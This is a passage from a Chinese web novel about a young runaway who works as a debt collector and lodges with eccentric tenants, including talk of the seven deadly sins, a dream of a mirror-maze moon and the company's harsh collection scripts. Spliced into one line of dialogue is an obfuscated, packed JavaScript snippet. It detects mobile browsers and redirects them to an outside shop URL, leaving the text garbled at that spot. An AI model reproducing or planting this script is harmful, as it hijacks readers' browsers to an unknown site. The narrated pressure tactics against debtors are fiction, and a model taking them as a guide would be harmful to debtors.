——傻子胖子聋子……得,看来这屋子里房客的毒舌还是一脉相承的。 “只有一次,那傻子忽然直勾勾盯着她,说,你知不知道,这里之前住过好多人。接着,她低下头,开始小声絮叨起来——呆…子……混…混……破…鞋…………傻子——说到这里,她突然抬起头看着废物,用手指着自己。” 说到这里,赵路也突然抬起头来看着我,右手食指指着自己,挑着眉坏笑。 ——呵,呵呵。这是什么三岁小孩的睡前恐怖故事么。 我微微向后一仰,夹起眉来瞪大了眼睛无奈看着他。 他哼笑一声,扫兴般懒洋洋继续道:“废物说,她当时就吓出了一身冷汗。” “之后,傻子又讲了些前面三个住客的事——呆子你已经知道了;后面的混混是个扒手,还因为打架进过局子;再之后的破鞋是在KTV做小姐的,好像还在外面让人包养过。”他又枕上椅背,抬起右手,望着自己的手指,慢吞吞地说。 “废物说,傻子只理了她那一次,之后没多久就搬走了。” 听完赵路的介绍,我大为震撼,一时间说不出话来。 ——这真是铁打的房子流水的客。而且,这房客阵容也未免有些过于争奇斗葩了点。这里其实是什么社会边缘人士收容所么? 方姨看上去那样正派,这她都能容忍得了? 总不会还真有些救济苍生的爱好? “从头到尾,住这儿来的就没什么好人。”赵路转过头来看着我,仍是那副皮笑肉不笑的模样,一字一顿地说道,“呆子,混混,破鞋,傻子,废物,疯子——那么,你呢?” ——嘶—— 那么,我呢? 我是什么? 我想着小学时“书呆子”的外号,和在公司“人妖”“变态”“马屁精”的骂名,哪一个都不想选。 ——还不如选“疯子”呢。可惜“疯子”已经有人了。 我嘿嘿干笑两声,没能立即想出像样的回答。 他却盯着我,微眯起眼睛:“看来上帝也没闲着么,这回总算送来个有些人样的了。”说着,又从鼻子喷出丝笑来,“可惜只是个伟人。” ——伟人?伟人有什么好可惜的? 我还正想着他借的是不是上帝七天造人的梗,冷不丁听到这后面的话,很有些受宠若惊。 “伟人?”我谦虚道,“伟人那就很有人样了。其实我达不到那样的高度的。” 他却又是一声嗤笑:“是伪装的伪。” ——哦,伪人啊。呵呵。 “其实我早就想和你说了——在个疯子面前,你又有什么好演的?”赵路盯着我,笑里全是讽刺。 我抽了一口气。那个疯子说我在演诶。 我也微微眯起眼睛盯向他,脸上挂着淡淡的笑意。 他的神色依旧松垮,像是毫不在意我虚情假意的演出——比起鄙夷我的人品,他大概只觉得看着我累得慌。 我便也嗤笑一声,道:“那这屋子里的住客就有趣得很了。呆子,混混,破鞋,傻子,废物,疯子,伪人”——我指了指自己——“这是要凑齐七宗罪么?怎么,凑齐了七宗罪,还能召唤出什么神龙来?” 我这么一说,疯子也乐了,跟着细数起来:“七宗罪么,有意思。傲慢、嫉妒、愤怒、懒惰、贪婪、□□、暴食。废物应该是懒惰,傻子是暴食,破鞋是□□,混混大概是愤怒。” “而你是傲慢。”我笑吟吟地望着他。 他嘴角一勾,接受了这项罪名。“那么你和呆子是什么呢?只剩下嫉妒和贪婪了。” 我想了想,只得挑起眉来耸耸肩:“我不觉得我是其中任何一个。我不嫉妒,应该也算不上贪婪。但如果非得选的话,那还是贪婪吧——毕竟,我还真挺缺钱的,也的确是将自己的业绩建立在他人的痛苦上。” “但是,程静,”我皱了皱下巴,“一个未来之星的优等生,又会嫉妒些什么呢?” 听我这样说,疯子有些乏味地笑了笑,垂下眼去。 我却又勾起嘴角,有些好笑地接着道:“说真的,要集齐这么些奇葩还是有点难度的吧?我都要怀疑,这屋子的风水是不是真的有点儿问题了。” 我想起前天方姨的除秽仪式,开始有些同意这里可能的确有必要定期来上那么一次——我原还以为仪式只是为了疯子,但刚才这一顿天聊下来,似乎我也挺符合被除秽的标准。 “方姨对风水那样有研究,没少花精力在这房子的布局上吧。” “风水,”疯子只哼了一声,“当然。比起改变自己,改个房子的布局总是要简单得多。” ——他不信风水。 但是,看起来这屋里确实是有些尚未破解的“风水问题”。 不知道是不是因为布局。 4. Chap.04 无尽的迷宫 Chap.4 无尽的迷宫——巨大的空洞 回到自己房间,我枕着胳膊躺在床上。一转脸,目光就扫到了飘窗角落里的“巽”牌。 “呆子,混混,破鞋,傻子,废物,疯子……呵。” 听着这里就没住过什么正常人。 再想想我自己——无论是新得的“伪人”,还是之前的“变态”“人妖”“马屁精”,至少就外号而言,我也算是“活该”要住进来了。 我一阵闷笑,重新躺平。望着天花板,笑一点点凝固—— 其实,“废物”这骂名我也得过。 天花板上,就正上演着我被骂“废物”那一幕——上个月,我和父母大吵了一架。争吵中,父亲咧着嘴,大声骂我:“你就是个废物,连自己都养不活!” 于是,我就背个背包、拖只行李箱走出来了。那时候我就下了决心:在外面站住脚之前,无论如何我都不会再回去了。 只是,我只带了手机,没拿钱包——这年头,谁还用现金啊。但问题是,我身份证在钱包里。 意识到这个问题,已经是我在外面晃了一整天,找了家小旅馆等着登记入住的时候了。既然我已经出来,家里又肯定都知道了,总不可能就这样灰头土脸地再走回去吧? 没身份证就没有吧,总能找到没身份证的活法。 于是,那天我去网吧开了个通宵。 第二天,我总算找到家不强制刷身份证的旅馆,住了进去。 第三天,我将自己收拾了一下,去面试了一家公司。面试通过了——就是现在我上班的这家催收公司。 会跑来这里面试,完全是因为它招聘信息上【包住宿】那三个黑体大字——我手机里就只有千把块钱,自己租房是肯定没戏。 而且,那招聘信息上也没什么像样的要求,看上去对我这赋闲数月、没特长缺经验的社会新人就很友好。 面试很简单,过程很顺利。HR徐姐四十上下,体形圆润,右脸上还有个酒窝,看着就十分亲切。听我吞吞吐吐地说了身份证没在手边后,她也只笑眯眯地说:“这个可以以后再说。” 但当我问起公司的宿舍,招聘信息上的“包住宿”就变成了“安排住宿”,住公司的宿舍得交300一个月。300就300吧,但现下宿舍都已经住满了。 我还有些不甘心,就追问了句宿舍情况。徐姐蹙起眉,圆脸上显得格外纤巧的下巴也轻轻皱了起来:“都满了。男宿舍,女宿舍,都是满的。” 大概看我实在失落,她随即又放柔了表情:“里面好像有人已经正往外面找房子了。你一入职我就帮你先去申请上,等过两天宿舍一空出来,就能住进去。” 我想,一个身份证都没有的大学毕业生还能再找到什么工作呢,就在这家公司呆下了。 只是,面试时的“过两天”眼见就要变成了“没哪天”——搬进方姨家之前,我在公司附近的日租房里已经住了十一天了。 要不是方姨收留,我可能早就回去继续当“废物”去了。 至于在这家公司里“人妖”“变态”“马屁精”的外号…… 我轻轻叹了口气,将右手伸到眼前,看着自己窄瘦的手掌和手背——大概率得怪我这偏瘦的体型了。还有我那自带槽点的倒霉名字。 这三个外号中,最先出来的是“人妖”,还是从邹凯开始叫开的。 邹凯是个子小小的男生。五官紧凑,上唇微微向前突起,两颊靠近下巴的地方却凹进去几颗痘印。据说他大学实习时就进了这家公司,毕业后直接留了下来,算起来已经快干满一年。在这个每月一换血的行业,他已经十足是个“老人”了。 我刚进去时,他还挺照顾我的。但从我上机第二天催回来那笔大单开始,他就阴阳怪气起来。 那案件是个2500的8期。据说,我能把它催回来完全是出门踩了狗屎—— 催收过程十分简单:我只是给紧急联系人打了个电话。那人应该是那位客户的妻子。她直接问我他是不是欠了钱,又问了借款平台和具体金额,傍晚时钱就还上了。 本来2500的案件金额根本算不上什么,但8个月的逾期让它的提成升到了20%。这一单就值500! 但,那个账号原本是在邹凯手里的——为了调动起每个组员的积极性,系统账号并非由员工固定持有,而是小组内流转,每十四天都会由组长重新分配。 他也打过那个紧急联系人的电话,只是当时没有人接。又因为那客户一看就是位难缠的大花户,他也就没再下心跟进。却没想到,他“辛苦烤好的面包”就这样被我轻而易举地“叼走”了。 这之后,他便开始偶尔开玩笑地叫我“人妖”了。 “变态”的外号也和他有关。那是在一个星期之后。 那天下班后我正往电梯走,遇到他和一个圆脸寸头的男生迎面过来。他挤眉弄眼地对那男生说:“上周五下了班,他非缠着我让我带他去看我们宿舍,说他没地方住了。” “靠,这么变态!”那人的脸马上也皱成了一团,做出个活吞苍蝇的表情,眼睛却弯了起来,晶亮晶亮。 ——看个宿舍就算变态? 我笑着打了招呼。邹凯却耸耸鼻子,冷笑一声,扭头径直走了过去。另外那个男生则笑嘻嘻地多看了我两眼。 我撇撇嘴,明白了这公司的宿舍不欢迎我,才下定了决心出去租房子。 再后来,组里几个男生就都“人妖”“变态”地喊我了。有时是当着我面,有时是在我听得见的距离。 一开始,女生们还会帮我骂回去,让我别往心里去——其实我觉得,和组里几个女孩走得近,性格活泼,或许也都是我受男生排挤的原因。但没多久,连她们都和我疏远起来了。 “……管谁都叫姐,还要我叫他小晋。一把年纪还装嫩,你说恶不恶心。” 这话是我搬家后第四天中午,在公司楼下一家快餐店里端着餐盘排队结账时,听见龚倩倩说的。 她是个看着很文静的女生。鹅蛋脸,很白净,深栗色马尾齐肩,圆圆的红框眼镜后面,是总弯弯眯起的眼睛。她进这家公司快半年了,业绩排在小组前三。见习那五天,就是她带的我,算是我在这家公司里最早认识的人了。她之前对我一直很照顾,1号来方姨家看房,还是她临时帮我换的假。 那天,她和陈莹就排在我前面三个位置。两人都没看见我,聊天的声音挺大,她含着字说话的声音又特别好辨认,我就听见了。 我正琢磨着那句“装嫩”是在说谁,下一句话又已经清晰地传了过来: “……他还说自己喜欢女孩子,你说变不变态。” 陈莹马上表示了赞同:“他甚至叫晋江行。”紧接着,是两人哈哈哈的笑声。 ——好吧,这下完全能够确定,她们说的就是我了。 只是,喜欢女孩就是变态?难不成名字中带了晋江两个字,我就被取消了喜欢的资格? 她们结好账走开了,我却还在想这到底是怎么回事。 说起来,“晋江”还是龚倩倩给我科普的。 第一天晨会自我介绍,我一报上名字,她和组里另外两个女孩对视一眼,就都诡异地笑了。等我按照欢姐指示,搬了椅子坐到她旁边,她就马上问我,晋江行是不是我真名。脸上正是早会上那个诡异的笑。 当然是。我有点摸不着头脑。如果这名字真那么奇怪,怎么我从来不知道。 午休时,她才兴冲冲地给我解释了“晋江”,在确认我真的完全不“腐”后还颇有些失望。第三天,她又热心地教我往手机里下了那个app,还特地推荐了几篇耽美小说。 我一本都没能读下去。后来才和她开玩笑,说自己还是喜欢女孩子。 这之后,她就不怎么找我说话了。 我原本以为,她只是将我踢出了同好圈子,这会儿却才知道,原来是直接将我划进了变态阵营。 不“腐”就是变态……? 这实在不像个理由。龚倩倩她们,也完全不像只有这种认知水平。 难道…是因为我之前说自己“喜欢女孩子”时,看起来太过猥琐,像个色狼?或者,像是在偷偷对她表白? 其实,有段时间我还真怀疑过自己是不是喜欢她——刚入职那几天,我大概处于某种类似高烧的兴奋状态,有时候甚至觉得像做梦般不真实。但后来我仔细一想,似乎从面试、甚至从离家出走开始,我就有过这种感觉。 所以,相比起对某个人上头,还是离家出走这事对我而言过于梦幻的可能性更大。 总之,那次之后,我就明白过来—— “活泼”不是一种该出现在男人身上的性格。至少在同辈面前。 于是,我更加注意起和女孩说话时的分寸,又刻意放慢语速,压低声音,好显得更稳重些。此外,我还包揽了给饮水机换水的活,以显示男生的担当。 但这些似乎都没什么效果,反而“马屁精”的名号越来越响。 再后来,我拿了几次单日回款额的小组第一,组里的同事就几乎都不搭理我啦。 但这样也不错。我想。我是来上班的。 我又不需要和他们交朋友。 我又不需要和他们交朋友——这话最先还是欢姐同我说的。 欢姐就是我们组长。三十岁上下,身材丰满,杏眼秀鼻,妆容精致,长发总用发卡抓在脑后。据说,她也在这附近租房子住,每天7点不到就来了公司。 上机第一天,我便遇上位很让人同情的客户——那是个美国留学生,家里原本做外贸生意,在疫情封锁和关税上调的组合拳下终于破了产。学费供不上,她又想要继续完成学业,便只好倒卡套现,又借了一大堆网贷。窟窿越滚越大,终于连利息都还不上了。 于是,我问欢姐能不能为她申请减免或者推迟还款。 “不能,我们没有减免和推迟的权限。” 在这斩钉截铁的一句话后,她又放慢了语速:“她这样的根本还不算什么。等你做久了就知道,那些欠款人,他们每个都会有自己的理由,看起来都很可怜。难道你还要一个个都去同情吗?等你没有业绩拿不上工资,谁来同情你呢? “而且,那些人中多的是老油条,他们的理由一个字都不能信。你根本不知道,那电话后面的是人还是鬼。 “你只是个催收员,把钱收回来就行了,管不了那么多。 “你又不需要和他们交朋友。” 上机后的第三天,我想,欢姐说得真对。 这三天里,光家里人得了重大突发疾病的我就遇上了五个,出车祸的有两个,被老板拖欠了数月工资的则有十好几个。 其中有三个,他们的朋友圈里还刚刚更新了旅游和美食打卡的照片。 ——你要去听,去看,去分辨。 “去听,去看,去分辨。”我嘴角又挂起一抹笑。 只是,不知这屋里的“风水问题”得从哪里分辨起。 ——但暂时还管不了这些,先忙完这阵吧。 我爬起来大大伸了个懒腰,出去洗漱好就回来关灯睡觉了。 这会儿已经过了15号,大多数企业都陆陆续续在发下工资,进入了催收行业的“旺季”。 KPTP是早会不变的主题,欢姐每天下午3点一到就会挨桌查问:“多少了?” 空气中弥漫着紧张,几十上百温声细语的劝导和嚣张粗暴的威胁交织在一起,在广阔的办公室里混成一片嗡鸣。 人人脸上都洋溢着一种疲惫而亢奋的异样神采,对下午6点的下班时间无动于衷—— 正如早会上喊出的口号:“多打一通电话,多收一笔回款,多拿一份提成!” 屏幕上密密排列着客户资料,耳机里循环拨打着电话号码,手下批量发送着系统短信,口中重复背诵着催款话术——这就是我的日常工作。 我需要在上午搞定全部新入案件的资料整理和C触(手机触达),完成好系统一呼和短信发送,下午的时间则留给了二呼、跟进和信息搜集—— 信息搜集永远是最关键的。 它让你能判断电话另一头那人的诚意,能力,以及软肋。 我一直认为,一个人就是一道方程。 你要了解一个人,无非是去找出他的各项,家人、朋友、事业、前途、名誉、嗜好,将方程列出来,再找到那个变量——那根线头,顺着它理下去,方程也就解开了。 人是这样,问题也是这样。而当人就是问题时,这个办法尤其管用。 软肋,就是要找的那个线头—— 行之有效的,从来不是逆流而上,而是顺水推舟。 正是靠着顺水推舟,入职一个月不到,我已经站上了小组排名的第一梯队。 而就在这紧张的忙碌中,一眨眼又到了周日。又一个没有休息的周日。 这天金额最大的新入案是笔26825.42的2期。客户一直不接电话,我只好先去搜集信息—— 好企查上有他注册的工商信息,登记的内容却不多。 百度搜索框里输入“罗青远”,鼠标一滑,就锁定了一条云南省花市舞蹈比赛的新闻资讯。 云南省花市……正好和他的工商注册地址对上。 点开新闻——比赛评委就有花市艺术协会会长罗青远。顺着这条线索,很快便在当地政府网站上搜出了他的名字。是条任免公告。 ——原来还是个前公职人员。 既然是公众人物,那事情就简单了。 我用“小号”给他发去几条短信,提醒他信用逾期对公众形象的潜在影响。 这之后,他的电话依旧不通,短信也还是没回。但两小时后,系统上收到了他还款成功的提示。 搞定这个大客户,今天的任务也就基本完成了——除了一直在养的老案,就只剩下两个PTP(Promise To Pay)的小案子需要再跟一跟。 于是,我干脆去逛了罗青远□□空间,因为新闻上的风光和逾期两个月的债务形成的对照实在有趣。 □□号是现成的——他在好企查上留的就是□□邮箱。空间也没锁,他近十年的全部历史就这样赤裸裸坦露在上面。 ——完全没有作为公众人物的自觉。 我原本打算只进去稍看一眼——这一眼就没能再停下。 空间一直更新到了三年前,记录着他的落榜,复读,大学,创业,生子,成功。 在里面,我看见他发牢骚,给自己打气;看见他呼朋唤友,踌躇满志;看见他对某个女孩绝望的爱意;看见他怀抱婴儿,手拉妻子,满脸幸福;看见他创业时的昂扬,失败时的解嘲,再战时的坚定。 他七次创业,换了三个行业,才走到现在的公司——空间顶部的动态就是这家公司的开业照和广告图。 我将他的空间动态拖到底,又拉回来,想:这就是一个人的一小段人生。 但,当年的追光少年,怎么变成了新闻图片上的秃顶中年,变成了今天的债务人? 这是他当年想要的人生吗? 但是人生,又是什么呢? 我的人生,会是什么呢? 我想到疯子叫我的那声“伪人”,忽然感到一阵乏力—— 我可是连光都没有啊。 下午6点,我正点下了班,下班后却没有直接回去。 我给方姨发了条短息,然后一个人去了河边。一边走,一边想我遇到过的那些客户——那些焦头烂额的企业家,破罐破摔的撸口子,小心翼翼的上班族,口齿不清的瘾君子,不知轻重的大学生…… 有个人一会儿称被女人骗光了钱,一会儿又说自己车祸、重病。 有个人电话打过去时永远说自己还在睡觉,晚点再聊。 有个人在朋友圈里挂出手机,说换小米和路费——她得回去向家里要钱。 有个人开着演艺公司,朋友圈光彩照人,却将1200不到的欠款拖了六期——紧急联系人是他母亲,和他“上阵母子兵”的知名制片人,她接起电话却只说有什么事去找本人。 …… 我沿着河走了一个多小时。 天色已经暗下来,河水变成一面黑黢黢的长镜,拉长了岸上的灯光。我在河心找到了那条瘦成细钩的月亮。 我可能是有点儿累了。我想。 回到方姨家,已经8点多。 方姨重新将菜热好,端上了桌。他们竟还都没吃饭,在等着我。 我赶紧道了欠,在桌边坐下。 可能我看上去还有点恍惚,方姨脸上的担忧毫不掩饰。她问:“小晋,今天怎么这么晚回来,工作这么忙吗?” “嗯,最近事情比较多。” “唉,事情怎么这样多。你每天在那边都十多个小时了吧?这又是周末,还这样加班,也太辛苦了!别的同事也都这样忙?”她皱眉望着我。 “嗯……方姨,”我迟疑道,“我是觉得有点儿累。” “你这工作是辛苦。”她夹起块鸡胸肉放进我碗里,“你要多吃点东西,才有力气——你不能和领导说一说吗,让他少给你安排点事?” “谢谢方姨。”我笑了笑,“不能的,每个人事都很多。” “唉!”她又重重叹了口气,“出来工作是这样,没有谁是容易的。”顿了顿,抬起眼来仔细打量了我,缓声道,“现在外面找个工作那么难,做什么都是这样的。” 见我没接话,她放下筷子,认真看着我:“方姨知道你很辛苦,但你这次好不容易才开始安稳下来,步入了正轨。这还不到一个月,又要放弃吗?” 我想起父亲口中的“废物”,母亲眼里的失望。 “条条蛇咬人。人活在这世上,没点毅力、吃不起苦是不行的。年轻人还是要多历练。”方姨说,“你是刚开始,又连着加了几天班,才觉得辛苦。忙过这段时间,你好好休息一下。等以后你做惯了、上了手,就不会这样累了。” “嗯。谢谢方姨。”我挑起嘴角,隆起苹果肌,给出一个微笑。 “是的嘛。年轻人就是要积极阳光一点,看起来才有朝气。”她微笑望着我,重新拿起了筷子,“你要多笑一笑,笑起来好看。” 我点点头,笑得更有朝气了。 但我还是积极阳光不起来。 第二天,我终于收到了上个月的工资。 看着信封里的1884块钱,我却并不觉得积极。 晚上提着凉菜,拿着房租、饭钱回去递给方姨时,我也没能感到阳光。 等我回到房间,躺在床上闭上眼,竟然看见了河里那个钩子般的月亮。 不知道为什么,我突然很想和疯子说会儿话。 也许是因为和他在一起有种节约体力的舒适感。 也许是因为,我想和人说说话。 于是,我又去敲了书房的门。 疯子已经坐下,像正准备看书。 他转过脸来看着我,表情似乎有些疑惑,又似乎已经明了。 我问,能不能在他这儿坐一会儿。他点头,指了指飘窗前的椅子。 我坐到椅子上,垂眼楞了一小会儿神,然后抬起头望着墙上那画,对疯子道:“我不知道自己是不是应该继续做下去。” 转过头,他正静静看着我,没有说话。 “我不知道自己是在做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001294|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 我伸出手,指尖还停留着键盘的触感。耳中又响起来此起彼伏的脏话,那是身边的同事对着空气、电话那头的客户对着我骂出来的。它们和耳机里无限循环的呼叫铃声纠缠在一起,塞填满我的每一分钟。 “也不知道自己要去哪里。” 我又看见了空间里的那个少年。 “你有什么想做的吗?”疯子终于开口道。 ——我有什么想做的吗? ——我有什么想做的呢。 我没有回答。 “你现在做的,你都不想做。”他比起询问,更像是在确认。 “我不知道。”我只能说。 “废物也是这样说的。”他看着我。 我一愣,随即反应过来:他说的应该是姜小晓。 “废物之前也工作过。”他说,“我来的时候,她正在附近一家便利店兼职收银。” 我惊讶道:“那她还有时间复习?”我望向墙角的画架和杂物。 他轻哼一声,垂眼笑了:“她干了三天就辞职了。据说,这是她住过来后的第十一份工作。附近的兼职几乎都被她干了个遍,没一个能做满一个月的。” ——这……何尝不也是一种历练呢。 就废物这个体验法,难不成她是来人间旅游的? 我忽地明白了过来,刚刚饭桌上方姨为什么那样草木皆兵——她实在太知道接下来的剧情了。 “那她的涉猎就很广泛了。”我问,“难道那些她都不想做吗?” ——明明她在做的那么多。 疯子仍是浅笑:“或许都想过吧,只是后来都不想了。” “每次她开始做个什么,总要说自己终于找了人生目标,天赋使命,生活乐趣,”他又哼了一声,表情淡淡的,“好像只有这样,她才算是在热爱生命,认真生活。” “她就像一个溺水的人,胡乱挥舞手臂,拼命想要抓住漂过身边的每一根稻草——”他顿了顿,才道, “她是在自救啊。” 我喉咙忽然哽了一下。 他却接着说:“但是稻草怎么承受得起人的重量呢。” 他嘴角挂着讥笑,眼里却浸了哀伤。过了好一会儿,他才又说: “人那么脆弱,要是不往中间加点儿什么,很容易就碎掉了。 “人总得为了点什么活着。 “欲望,情感,知识,信念,理想——人们为它而活。” ——人总得为了点什么活着吗? “你是为了什么活着呢?月亮吗?”我问。 ——你的“芯子”是什么? 你的软肋——方程的线头,就是指尖上的那根金线吗? 疯子挑高了左边嘴角,没有说话。 我又看了看身侧的书柜——难道是为了知识而活?除了读书,就没见过他做别的。 “还是为了读书?你读了这多么书。” “为了读书而活着?”他做出个好笑的表情,眼中的哀伤却越来越浓,“我读这么多书,也只是为了自救啊。” ——原来,疯子也需要自救。 他望向书柜:“也许,这些书就是月光,是它们织成的网捞起了我。对,它们就是月光。所以,我看见了月亮。” 我沉默了好一会儿,问:“原来是月光救了你。那你为什么还不愿去月亮上呢?” 他也沉默了一会儿,才说:“我做过一个梦。梦里,我到了月亮上。” “我梦见,手上那根金线把我拉到了天上。我漂浮在夜空里,离月亮越来越近,越来越近。这时我才看见—— “原来月球的表面遍布着千万亿兆,无数的镜子。 “它们四四方方,排列成整齐的矩阵,闪耀着银光——那是来自太阳的光——就像正午的水面。 “月亮上布满了镜子,所以它是亮的。 “我继续飞近——镜子上,也照出了我的模样—— “千千万万面镜子,拼出来一个巨大的我。 “等我终于落到月球上,站在了镜子的中间—— “我的前后左右,四面八方,全是镜子。 “于是,我看清了它们——每一块都是两米高,一米宽,贴地悬浮在月亮的表面上。在我落下后,它们忽然都转向了我。 “它们全部正对着我—— “镜子里,是千千万万,无数个我。 “人是看不到自己的后背的,即使站在镜子前。 “但在这里,我看到了自己的后背——不是两面镜子互相反射的那种看见,而是—— “我对着前面的镜子,实实在在地看到了我的后背。 “镜子里的我动了起来——每一面镜子里,我都做着不同的动作,朝着不同的方向。 “我知道,他们每一个都是我。但每一个,又都不是我。 “我忽然害怕起来,穿过镜子的间隙向前走去。但无论走到哪里,所有的镜子都会转过来对着我——我就像驶入湖泊的一艘小船,在水面上带起了一大串涟漪。 “我越走越快,越走越快,终于奔跑起来。 “但无论我跑得多快,跑出多远,到处都仍然只有镜子,无数的镜子,无边无际。 “那些镜子,它们都对着我,审视着我。镜子里的人没有看我,但我知道,那些镜子却盯着我。 “我越来越害怕,干脆轮起拳头向一面镜子砸去—— “但我没有打碎它——我穿过了它。 “原来,一面镜子也是一个漏子。每个漏子都通往另一个世界。 “于是,穿过那个漏子,我来到了另一个世界。 “那个世界,却仍旧是千万亿兆,无穷无尽的镜子——每一面镜子,也都是一个漏子。 “于是,我在镜子间穿行——从一面镜子,到另一面镜子。从一个漏子,到另一个漏子。从一个世界,到另一个世界—— “我迷失在这镜子的迷宫里。 “我开始迷惑—— “到底我是在镜子里,还是镜子外—— “镜子里的,和镜子外的,到底哪一个,才是我……” 说完,一片空茫久久停留在他脸上。就像他刚才的话语,还在这间房里飘荡。 ——也许,他还滞留在那个遍布着镜子的月亮上。 我震撼于那宇宙般的浩瀚,一时说不出话来。 半晌,我才开口问:“这就是你说的迷宫——月亮上的迷宫?” 他这时也重新回到了这间书房里,又在嘴角挂起来懒懒的浅笑:“是啊,镜子组成的迷宫。” “迷宫里那么多镜子,你将自己看清楚了吧?” ——甚至看清楚了自己想做点儿什么。 他的笑却更淡了:“看不清的,你只会越来越疑惑——因为镜子,它会‘说谎’。你不知道,到底哪一面是真,哪一面是假。也许,全都是假的……” 他忽然停住,像陷入了思考,好一会儿才继续道: “就像在这地球上,你遇到的每一个人也都是一面镜子。 “人无法看见自己。能看见的,只有别人口中的自己。人也无法看见前方,能看见的,只有自己和别人走过的路。” ——以人为鉴,可以明得失么。 “但是,它们都会‘说谎’——它们,都只是变了形的镜子。 “别人口中的你,未必真的是你。别人走过的路,未必真的是路。 ——是这样吗……别人在做的事,未必真的是我要做的事。 “也许,你永远都无法——认识你自己。” 也许,我永远都无法认识我自己。 我可以认识客户、同事,认识方姨、废物,认识疯子。 他们都是我的镜子。 我可以认识无个数人,看见无数面镜子。 但是—— 我无法认识我自己。 ——而且,我从来都没问过,我自己那道方程的解。 我盯着墙上那副画,望进画中的月亮里。 “你认识你自己吗?”好一会儿,我才将目光从画上移开,去看疯子。 “认识我自己?不,在这里,我只看得到正面的自己。” “那么,你看得到你体内那根‘芯’吗?它是什么?” “体内那根芯?这个说法挺有趣。”他勾唇笑了,“我体内那根‘芯’,它是理想哦。 “至于我的理想么,当然还是——到月亮上去啦。” ——他竟然还想到月亮上去。 他眼里的粼光就像月光下的湖面: “我总是在想,月亮的背面是什么样的。 “那个梦里,我在月亮上看见了自己的背面。但是,它的背面是什么样呢? “你知道潮汐锁定吗?在地球上是看不到月亮的背面的——我必须上去了才知道,那后面是什么。” 说着,他又开始怔愣起来。 外面的月亮已经很高了吧。我想。 于是我起身告辞,准备离开。 离开时,疯子望向我,忽然说: “其实每个人都在逃跑,就像废物,只是逃向不同的方向——逃向生活或者逃向理想,逃向现实或者逃向虚无。 “晋江行,你看的,到底会是天上的月亮,还是水里的月亮呢?” ——我看的,到底会是哪个月亮…… 从疯子房里出来,我的失落并没能找回来一点。 但我总算明白过来——我这失落,原来也是发现: 我竟然没有“芯”。我不为什么而活着。 我从那些人——那些镜子——身上,看见了自己体内那个巨大的空洞。 5. Chap.05 听见和看见 Chap.5 听见和看见——方程和镜子 之后的几天都平平常常地过去,生活仿佛回到了正轨。 我每天上班下班,没再去过河边。那个空洞也不再传出回响。 既然没什么想做的,那就做什么都可以,我想。做什么都一样。 工作依然忙碌。 发工资的月高峰虽然已经过去,加班却一点不见减少,因为—— 马上就是中秋节了。 马上就是中秋节了。 我还是在同事的提醒下才想起来的。 但那同事提醒的却其实不是我,而是位客户—— 他拿着手机,声音越来越大,最后半个办公室都能听见: “你不要以为我们只是打打电话而已。这马上就是中秋了,我们会让你过好这个中秋节,让你的亲朋好友也都过好这个中秋节! “我威胁你什么啦?我刚刚明明只是在祝你中秋节快乐啊。 “好呀!你不是录音了吗,你自己去查录音,看我刚刚是不是在祝你中秋节快乐! “那你就去投诉啊,我等着你投诉!” 说完这句,他挂断电话,对着空气继续咒骂:“这傻逼,还说我威胁他。去投诉我呀,反正我是用小号打的。连是哪个平台都不知道,还投诉我,投诉个屌吧!” 对呀,马上就是中秋节了。我想。 我的父母……他们,过得怎么样呢?身体还好吗?他们…还生我的气吗? 也许……我该回去看看的。至少,也该打个电话。 但是—— 我摘下耳机,环顾四周,环顾这电脑和人的矩阵—— 每个人都绑定着一台电脑。他们戴着耳机,弓着背探着身,像要被跟前的屏幕吸进去。 主机的嗡鸣和嘈杂的人声缠作一团,将日光灯的光线又压暗了几分。 “你欠着钱不还,身边的亲戚朋友知道了会怎么看你?谁还愿意理你?” “最后一次机会!明天就起诉你,档案都封存了!” “不还钱,那就搞到你失业为止!” “吴旭民,明天下午3点,张队长就带人去你家里了,找你爸妈签字确认!” “躲起来就不用还钱了吗?跟个老鼠一样。我告诉你,你躲得了一时,躲不了一世!” “……” 大概因为临着国庆中秋,劝导的话术比平时还要再激烈些。 ——我在电话里能说什么呢?难道说这些? 看着这一屋的镜子,我想:这就是我的前方,我的未来吗? 或许,我至少应该回趟家,趁他们出去的时候,把身份证拿出来。 ——对,我得尽快拿到身份证。 我点出电脑上的日历——明天正好是周一,白天他们都不会在家。 拿定主意,趁着临下班组内小号换打的机会,我去找了欢姐,问她能不能帮我安排第二天的调休——我实在太需要休息了。 欢姐走到两排工位中间,问明天轮到谁休息。看见邹凯从隔板后站起来,我心就凉了一半。欢姐却冲他挤眼一笑:“你后天再休。和小晋换一换。” “欢姐——”邹凯拖长了声音,“你这样我计划全都要乱掉的。” “你明天有事?”欢姐目光在他脸上上下一扫,轻笑了声,“这不没什么事么。” “但你怎么能这么偏心!”邹凯嘴撅得比鼻子都高了。 “偏心什么啊。他上次休假还是8号,这都两轮了。”欢姐眉眼弯弯。 “那还不是他都调到前面休过了。”邹凯嘟哝一句,又放开了些嗓子,“你就只叫他叫‘小晋’,别人都是喊名字。还说不偏心。” “滚!那从现在开始,我也叫你小凯。你愿意?”欢姐没好气地一笑,飞了个白眼,“一点都不知道让着点新人。就这样!你后天休,明天老老实实过来给我上班!” “他还新人…”邹凯的嘴又突了突,脸和肩膀一起垮到了底。他继续开玩笑般发了几句牢骚,才斜斜瞥了我一眼。我只好耷拉着眉毛,报以感激的苦笑。 ——他不会再理我了吧。 安排好调休,欢姐转身来问了我手上新案的完成情况,让我抓紧时间再追一追。 我谢过欢姐,回到自己工位,开始整理今天的催收记录。 意外的是,没一会儿邹凯就理了我——他要和我换打:“这个客户三天了,别人的号都已经打过。” 于是,我将公司手机递了过去。 好半天,他才还回来——特意走到我跟前来还的,还俯身到我耳边低低说了句:“马屁精。” ——啧。 调休下来了。我回去后蒙着被子死死睡了一觉——“我需要休息”这话虽然是调休借口,却也完全不是说谎。 第二天睁眼就已经十点多。我竟一口气睡了快十三个小时。 